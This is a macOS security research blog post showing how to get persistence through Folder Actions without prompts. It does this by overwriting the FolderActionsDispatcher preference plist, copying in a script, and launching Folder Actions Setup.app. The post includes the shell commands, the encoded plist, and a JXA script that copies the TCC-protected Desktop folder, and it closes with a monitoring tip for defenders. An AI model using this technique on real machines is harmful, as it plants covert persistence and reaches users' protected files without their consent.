Beyond the good ol' LaunchAgents - 24 - Folder Actions

This is part 24 in the series of “Beyond the good ol' LaunchAgents”, where I try to collect various persistence techniques for macOS. For more background check the introduction.

Folder action persistence has been documented by Cody Thomas back in 2019 in his blog. I think he did an awesome job, and everything he wrote still applies today. I wanted to take it a bit further and see if I can persist without any user prompts, and it turned out it is possible. I will also talk about its TCC implications.

The TL;DR

Folder Actions are documented by Apple in their developer documentation: Mac Automation Scripting Guide: Watching Folders. Basically these are scripts that the system will run when files are added or deleted from the watched folder in Finder or the folder’s window is opened, closed or resized. (If we perform the same actions in shell nothing happens).

We can add such scripts via Finder, but that requires extensive user actions or by Apple Scripts, but that one also generates quite a few prompts. Let’s explore how we can bypass the user and persist without any popup.

Creating Folder Actions

As described by Cody the default location for the scripts is /Library/Scripts/Folder Action Scripts and ~/Library/Scripts/Folder Action Scripts. The other important item he described is that the action script configuration can be found in the file ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist. This PLIST contains even more embedded PLISTs in base64 encoded format.

Let’s start by creating a Folder Action through the GUI, for a folder ~/test and attach the script ~/Library/Scripts/Folder Action Scripts/folderaction.scpt. This is what we get as a result.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>folderActions</key>
	<data>
	YnBsaXN0MDDUAQIDBAUGBwpYJHZlcnNpb25ZJGFyY2hpdmVyVCR0b3BYJG9iamVjdHMS
	AAGGoF8QD05TS2V5ZWRBcmNoaXZlctEICVRyb290gAGuCwwSHh8gISQrLzQ1NjpVJG51
	bGzSDQ4PEVpOUy5vYmplY3RzViRjbGFzc6EQgAKAB9YTFBUWFw4YGRobHB1YYm9va21h
	cmtXZW5hYmxlZF1wcmlvckNvbnRlbnRzVG5hbWVXc2NyaXB0c4ADgAWABoAEgAiADU8R
	A2Bib29rYAMAAAAABBAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQ
	AgAABAAAAAMDAAAAAgAABQAAAAEBAABVc2VycwAAAAUAAAABAQAAY3NhYnkAAAAEAAAA
	AQEAAHRlc3QMAAAAAQYAABAAAAAgAAAAMAAAAAgAAAAEAwAAQ10AAAMAAAAIAAAABAMA
	AE2ZAAADAAAACAAAAAQDAACpGgYAAwAAAAwAAAABBgAAUAAAAGAAAABwAAAACAAAAAAE
	AABBw6vM+VIwNxgAAAABAgAAAgAAAAAAAAAPAAAAAAAAAAAAAAAAAAAACAAAAAQDAAAB
	AAAAAAAAAAQAAAADAwAA9QEAAAgAAAABCQAAZmlsZTovLy8MAAAAAQEAAE1hY2ludG9z
	aCBIRAgAAAAEAwAAAJAvUAkAAAAIAAAAAAQAAEHDjpDvAAAAJAAAAAEBAAAwQTgxRjNC
	MS01MUQ5LTMzMzUtQjNFMy0xNjlDMzY0MDM2MEQYAAAAAQIAAIEAAAABAAAA7xMAAAEA
	AAAAAAAAAAAAAAEAAAABAQAALwAAAAAAAAABBQAAwwAAAAECAAA0MmMxMGVlZjZiNTNi
	ZTcwMWI2NjZhMTM4M2E3YmQwMWQ1YjE4NzA0ODUxMzRhMDViMDFhZTU2YzYyOTcwZTkw
	OzAwOzAwMDAwMDAwOzAwMDAwMDAwOzAwMDAwMDAwOzAwMDAwMDAwMDAwMDAwMjA7Y29t
	LmFwcGxlLmFwcC1zYW5kYm94LnJlYWQtd3JpdGU7MDE7MDEwMDAwMDY7MDAwMDAwMDMw
	MDA2MWFhOTswMTsvdXNlcnMvY3NhYnkvdGVzdAAA2AAAAP7///8BAAAAAAAAABEAAAAE
	EAAAPAAAAAAAAAAFEAAAgAAAAAAAAAAQEAAApAAAAAAAAABAEAAAlAAAAAAAAAACIAAA
	cAEAAAAAAAAFIAAA4AAAAAAAAAAQIAAA8AAAAAAAAAARIAAAJAEAAAAAAAASIAAABAEA
	AAAAAAATIAAAFAEAAAAAAAAgIAAAUAEAAAAAAAAwIAAAfAEAAAAAAAABwAAAxAAAAAAA
	AAARwAAAIAAAAAAAAAASwAAA1AAAAAAAAAAQ0AAABAAAAAAAAACA8AAAhAEAAAAAAABU
	dGVzdAnSDQ4iEaCAB9IlJicoWiRjbGFzc25hbWVYJGNsYXNzZXNeTlNNdXRhYmxlQXJy
	YXmjJykqV05TQXJyYXlYTlNPYmplY3TSDQ4sEaEtgAmAB9QTFBYOMBkyM4AKgAWAC4AM
	TxEELGJvb2ssBAAAAAAEEDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
	ABwDAAAEAAAAAwMAAAACAAAFAAAAAQEAAFVzZXJzAAAABQAAAAEBAABjc2FieQAAAAcA
	AAABAQAATGlicmFyeQAHAAAAAQEAAFNjcmlwdHMAFQAAAAEBAABGb2xkZXIgQWN0aW9u
	IFNjcmlwdHMAAAARAAAAAQEAAGZvbGRlcmFjdGlvbi5zY3B0AAAAGAAAAAEGAAAQAAAA
	IAAAADAAAABAAAAAUAAAAHAAAAAIAAAABAMAAENdAAADAAAACAAAAAQDAABNmQAAAwAA
	AAgAAAAEAwAAVZkAAAMAAAAIAAAABAMAAJ8dBgADAAAACAAAAAQDAACgHQYAAwAAAAgA
	AAAEAwAArR0GAAMAAAAYAAAAAQYAAKwAAAC8AAAAzAAAANwAAADsAAAA/AAAAAgAAAAA
	BAAAQcOrziIIAWgYAAAAAQIAAAEAAAAAAAAADwAAAAAAAAAAAAAAAAAAAAgAAAAEAwAA
	BAAAAAAAAAAEAAAAAwMAAPUBAAAIAAAAAQkAAGZpbGU6Ly8vDAAAAAEBAABNYWNpbnRv
	c2ggSEQIAAAABAMAAACQL1AJAAAACAAAAAAEAABBw46Q7wAAACQAAAABAQAAMEE4MUYz
	QjEtNTFEOS0zMzM1LUIzRTMtMTY5QzM2NDAzNjBEGAAAAAECAACBAAAAAQAAAO8TAAAB
	AAAAAAAAAAAAAAABAAAAAQEAAC8AAAAAAAAAAQUAAPYAAAABAgAAMDk0YmQ1NjJiMGUw
	MmFkNmQ5ODg3YTY3YWRkYTA0YzRlNzg0ZWViNGZiYWE1MjhkYzA0M2Y4YTU0OGU3NTA0
	MjswMDswMDAwMDAwMDswMDAwMDAwMDswMDAwMDAwMDswMDAwMDAwMDAwMDAwMDIwO2Nv
	bS5hcHBsZS5hcHAtc2FuZGJveC5yZWFkLXdyaXRlOzAxOzAxMDAwMDA2OzAwMDAwMDAz
	MDAwNjFkYWQ7MDE7L3VzZXJzL2NzYWJ5L2xpYnJhcnkvc2NyaXB0cy9mb2xkZXIgYWN0
	aW9uIHNjcmlwdHMvZm9sZGVyYWN0aW9uLnNjcHQAAADYAAAA/v///wEAAAAAAAAAEQAA
	AAQQAACMAAAAAAAAAAUQAAAMAQAAAAAAABAQAAA8AQAAAAAAAEAQAAAsAQAAAAAAAAIg
	AAAIAgAAAAAAAAUgAAB4AQAAAAAAABAgAACIAQAAAAAAABEgAAC8AQAAAAAAABIgAACc
	AQAAAAAAABMgAACsAQAAAAAAACAgAADoAQAAAAAAADAgAAAUAgAAAAAAAAHAAABcAQAA
	AAAAABHAAAAgAAAAAAAAABLAAABsAQAAAAAAABDQAAAEAAAAAAAAAIDwAAAcAgAAAAAA
	AF8QEWZvbGRlcmFjdGlvbi5zY3B00iUmNzheSW50ZXJuYWxTY3JpcHSiOSpeSW50ZXJu
	YWxTY3JpcHTSJSY7PF8QFEludGVybmFsRm9sZGVyQWN0aW9uoj0qXxAUSW50ZXJuYWxG
	b2xkZXJBY3Rpb24ACAARABoAJAApADIANwBJAEwAUQBTAGIAaABtAHgAfwCBAIMAhQCS
	AJsAowCxALYAvgDAAMIAxADGAMgAygQuBDMENAQ5BDoEPARBBEwEVQRkBGgEcAR5BH4E
	gASCBIQEjQSPBJEEkwSVCMUI2QjeCO0I8Aj/CQQJGwkeAAAAAAAAAgEAAAAAAAAAPgAA
	AAAAAAAAAAAAAAAACTU=
	</data>
	<key>folderActionsEnabled</key>
	<true/>
</dict>
</plist>

This is not too informative. We can decode the base64 data, and get a binary plist. If we convert it to XML we get the following.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>$archiver</key>
	<string>NSKeyedArchiver</string>
	<key>$objects</key>
	<array>
		<string>$null</string>
		<dict>
			<key>$class</key>
			<dict>
				<key>CF$UID</key>
				<integer>7</integer>
			</dict>
			<key>NS.objects</key>
			<array>
				<dict>
					<key>CF$UID</key>
					<integer>2</integer>
				</dict>
			</array>
		</dict>
		<dict>
			<key>$class</key>
			<dict>
				<key>CF$UID</key>
				<integer>13</integer>
			</dict>
			<key>bookmark</key>
			<dict>
				<key>CF$UID</key>
				<integer>3</integer>
			</dict>
			<key>enabled</key>
			<dict>
				<key>CF$UID</key>
				<integer>5</integer>
			</dict>
			<key>name</key>
			<dict>
				<key>CF$UID</key>
				<integer>4</integer>
			</dict>
			<key>priorContents</key>
			<dict>
				<key>CF$UID</key>
				<integer>6</integer>
			</dict>
			<key>scripts</key>
			<dict>
				<key>CF$UID</key>
				<integer>8</integer>
			</dict>
		</dict>
		<data>
		Ym9va2ADAAAAAAQQMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
		AAAAUAIAAAQAAAADAwAAAAIAAAUAAAABAQAAVXNlcnMAAAAFAAAAAQEAAGNz
		YWJ5AAAABAAAAAEBAAB0ZXN0DAAAAAEGAAAQAAAAIAAAADAAAAAIAAAABAMA
		AENdAAADAAAACAAAAAQDAABNmQAAAwAAAAgAAAAEAwAAqRoGAAMAAAAMAAAA
		AQYAAFAAAABgAAAAcAAAAAgAAAAABAAAQcOrzPlSMDcYAAAAAQIAAAIAAAAA
		AAAADwAAAAAAAAAAAAAAAAAAAAgAAAAEAwAAAQAAAAAAAAAEAAAAAwMAAPUB
		AAAIAAAAAQkAAGZpbGU6Ly8vDAAAAAEBAABNYWNpbnRvc2ggSEQIAAAABAMA
		AACQL1AJAAAACAAAAAAEAABBw46Q7wAAACQAAAABAQAAMEE4MUYzQjEtNTFE
		OS0zMzM1LUIzRTMtMTY5QzM2NDAzNjBEGAAAAAECAACBAAAAAQAAAO8TAAAB
		AAAAAAAAAAAAAAABAAAAAQEAAC8AAAAAAAAAAQUAAMMAAAABAgAANDJjMTBl
		ZWY2YjUzYmU3MDFiNjY2YTEzODNhN2JkMDFkNWIxODcwNDg1MTM0YTA1YjAx
		YWU1NmM2Mjk3MGU5MDswMDswMDAwMDAwMDswMDAwMDAwMDswMDAwMDAwMDsw
		MDAwMDAwMDAwMDAwMDIwO2NvbS5hcHBsZS5hcHAtc2FuZGJveC5yZWFkLXdy
		aXRlOzAxOzAxMDAwMDA2OzAwMDAwMDAzMDAwNjFhYTk7MDE7L3VzZXJzL2Nz
		YWJ5L3Rlc3QAANgAAAD+////AQAAAAAAAAARAAAABBAAADwAAAAAAAAABRAA
		AIAAAAAAAAAAEBAAAKQAAAAAAAAAQBAAAJQAAAAAAAAAAiAAAHABAAAAAAAA
		BSAAAOAAAAAAAAAAECAAAPAAAAAAAAAAESAAACQBAAAAAAAAEiAAAAQBAAAA
		AAAAEyAAABQBAAAAAAAAICAAAFABAAAAAAAAMCAAAHwBAAAAAAAAAcAAAMQA
		AAAAAAAAEcAAACAAAAAAAAAAEsAAANQAAAAAAAAAENAAAAQAAAAAAAAAgPAA
		AIQBAAAAAAAA
		</data>
		<string>test</string>
		<true/>
		<dict>
			<key>$class</key>
			<dict>
				<key>CF$UID</key>
				<integer>7</integer>
			</dict>
			<key>NS.objects</key>
			<array/>
		</dict>
		<dict>
			<key>$classes</key>
			<array>
				<string>NSMutableArray</string>
				<string>NSArray</string>
				<string>NSObject</string>
			</array>
			<key>$classname</key>
			<string>NSMutableArray</string>
		</dict>
		<dict>
			<key>$class</key>
			<dict>
				<key>CF$UID</key>
				<integer>7</integer>
			</dict>
			<key>NS.objects</key>
			<array>
				<dict>
					<key>CF$UID</key>
					<integer>9</integer>
				</dict>
			</array>
		</dict>
		<dict>
			<key>$class</key>
			<dict>
				<key>CF$UID</key>
				<integer>12</integer>
			</dict>
			<key>bookmark</key>
			<dict>
				<key>CF$UID</key>
				<integer>10</integer>
			</dict>
			<key>enabled</key>
			<dict>
				<key>CF$UID</key>
				<integer>5</integer>
			</dict>
			<key>name</key>
			<dict>
				<key>CF$UID</key>
				<integer>11</integer>
			</dict>
		</dict>
		<data>
		Ym9vaywEAAAAAAQQMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
		AAAAHAMAAAQAAAADAwAAAAIAAAUAAAABAQAAVXNlcnMAAAAFAAAAAQEAAGNz
		YWJ5AAAABwAAAAEBAABMaWJyYXJ5AAcAAAABAQAAU2NyaXB0cwAVAAAAAQEA
		AEZvbGRlciBBY3Rpb24gU2NyaXB0cwAAABEAAAABAQAAZm9sZGVyYWN0aW9u
		LnNjcHQAAAAYAAAAAQYAABAAAAAgAAAAMAAAAEAAAABQAAAAcAAAAAgAAAAE
		AwAAQ10AAAMAAAAIAAAABAMAAE2ZAAADAAAACAAAAAQDAABVmQAAAwAAAAgA
		AAAEAwAAnx0GAAMAAAAIAAAABAMAAKAdBgADAAAACAAAAAQDAACtHQYAAwAA
		ABgAAAABBgAArAAAALwAAADMAAAA3AAAAOwAAAD8AAAACAAAAAAEAABBw6vO
		IggBaBgAAAABAgAAAQAAAAAAAAAPAAAAAAAAAAAAAAAAAAAACAAAAAQDAAAE
		AAAAAAAAAAQAAAADAwAA9QEAAAgAAAABCQAAZmlsZTovLy8MAAAAAQEAAE1h
		Y2ludG9zaCBIRAgAAAAEAwAAAJAvUAkAAAAIAAAAAAQAAEHDjpDvAAAAJAAA
		AAEBAAAwQTgxRjNCMS01MUQ5LTMzMzUtQjNFMy0xNjlDMzY0MDM2MEQYAAAA
		AQIAAIEAAAABAAAA7xMAAAEAAAAAAAAAAAAAAAEAAAABAQAALwAAAAAAAAAB
		BQAA9gAAAAECAAAwOTRiZDU2MmIwZTAyYWQ2ZDk4ODdhNjdhZGRhMDRjNGU3
		ODRlZWI0ZmJhYTUyOGRjMDQzZjhhNTQ4ZTc1MDQyOzAwOzAwMDAwMDAwOzAw
		MDAwMDAwOzAwMDAwMDAwOzAwMDAwMDAwMDAwMDAwMjA7Y29tLmFwcGxlLmFw
		cC1zYW5kYm94LnJlYWQtd3JpdGU7MDE7MDEwMDAwMDY7MDAwMDAwMDMwMDA2
		MWRhZDswMTsvdXNlcnMvY3NhYnkvbGlicmFyeS9zY3JpcHRzL2ZvbGRlciBh
		Y3Rpb24gc2NyaXB0cy9mb2xkZXJhY3Rpb24uc2NwdAAAANgAAAD+////AQAA
		AAAAAAARAAAABBAAAIwAAAAAAAAABRAAAAwBAAAAAAAAEBAAADwBAAAAAAAA
		QBAAACwBAAAAAAAAAiAAAAgCAAAAAAAABSAAAHgBAAAAAAAAECAAAIgBAAAA
		AAAAESAAALwBAAAAAAAAEiAAAJwBAAAAAAAAEyAAAKwBAAAAAAAAICAAAOgB
		AAAAAAAAMCAAABQCAAAAAAAAAcAAAFwBAAAAAAAAEcAAACAAAAAAAAAAEsAA
		AGwBAAAAAAAAENAAAAQAAAAAAAAAgPAAABwCAAAAAAAA
		</data>
		<string>folderaction.scpt</string>
		<dict>
			<key>$classes</key>
			<array>
				<string>InternalScript</string>
				<string>NSObject</string>
			</array>
			<key>$classname</key>
			<string>InternalScript</string>
		</dict>
		<dict>
			<key>$classes</key>
			<array>
				<string>InternalFolderAction</string>
				<string>NSObject</string>
			</array>
			<key>$classname</key>
			<string>InternalFolderAction</string>
		</dict>
	</array>
	<key>$top</key>
	<dict>
		<key>root</key>
		<dict>
			<key>CF$UID</key>
			<integer>1</integer>
		</dict>
	</dict>
	<key>$version</key>
	<integer>100000</integer>
</dict>
</plist>

More embedded data! :( If we decode the new base64 strings, we will again get a binary plist. Unfortunately plutil can’t convert it, and throws an error but if we take a look it will contain further info about the folders we set and the script.

I didn’t want to fully reverse the structure of this plist, but simply take a shortcut. We can setup a folder action script on our machine, like the above and take it to the victim.

Taking the above plist we can overwrite the one on the machine. There is zero protection on the file, so we can freely do that.

So the manual setup is to copy our script to its location, create the folder we want to watch (if it doesn’t exists), and overwrite preferences.

csaby@mantarey ~ % mkdir -p "Library/Scripts/Folder Action Scripts"
csaby@mantarey ~ % cp folderaction.scpt "Library/Scripts/Folder Action Scripts/" 
csaby@mantarey ~ % mkdir test
csaby@mantarey ~ % cp com.apple.FolderActionsDispatcher.plist Library/Preferences 

We could also do something like this to edit the preferences file:

defaults write "com.apple.FolderActionsDispatcher" "folderActions" '"{length = 2513, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 00000935 }"'

In this case, for the example, our folder action script does the following:

var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("cp -R ~/Desktop /tmp/");

Now if we do anything in the folder…. nothing happens. :(

There is one more thing we need to do. The preference file has to be consumed, and for that we need to start the Folder Action Setup.app utility, which we can kill after.

csaby@mantarey ~ % open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"                                 
csaby@mantarey ~ % killall "Folder Actions Setup"

Now if we do anything with it in Finder, the script will be triggered. All of this without any user prompt.

Someone can either prepare a PLIST file upfront as I did here, or reverse it and programmatically do it. I didn’t do that, but if anyone does I would be interested seeing that :)

TCC implication

As you might have noticed, I made a command to copy all files from the ~/Desktop into /tmp/. As Desktop is protected by TCC it’s interesting to observe what happens. The script is not executed by Finder but FolderActionDispatcher.

FolderActionsDispatcher has an entitlement which allows it to prompt for all TCC permissions.

Executable=/System/Library/CoreServices/FolderActionsDispatcher.app/Contents/MacOS/FolderActionsDispatcher
Identifier=com.apple.FolderActionsDispatcher
Format=app bundle with Mach-O universal (x86_64 arm64e)
CodeDirectory v=20400 size=1210 flags=0x0(none) hashes=27+7 location=embedded
Platform identifier=13
Signature size=4442
Signed Time=2021. Oct 2. 8:44:20
Info.plist entries=27
TeamIdentifier=not set
Sealed Resources version=2 rules=2 files=0
Internal requirements count=1 size=84
[Dict]
	[Key] com.apple.private.tcc.allow-prompting
	[Value]
		[Array]
			[String] kTCCServiceAll
	[Key] com.apple.application-identifier
	[Value]
		[String] com.apple.FolderActionsDispatcher

This means that when our script is executed, FolderActionDispatcher will be the ultimate responsible process, and it will prompt the user. I think this is minimum misleading, and a less security aware user can click OK, without being aware at all what happens.

TCC Prompt

Script Execution Flow

Our script is executed in the following way. The process FolderActionDispatcher will make an XPC request to com.apple.foundation.UserScriptService which will invoke osascript which will invoke our shell commands. Thus ultimately the binary /System/Library/Frameworks/Foundation.framework/Versions/C/XPCServices/com.apple.foundation.UserScriptService.xpc/Contents/MacOS/com.apple.foundation.UserScriptService is launching the script.

For blue teams I think there is a great way to monitor for this persistence: is anything launched by com.apple.foundation.UserScriptService?

That’s all I wanted to add this, again I highly recommend checking out Cody’s blogpost.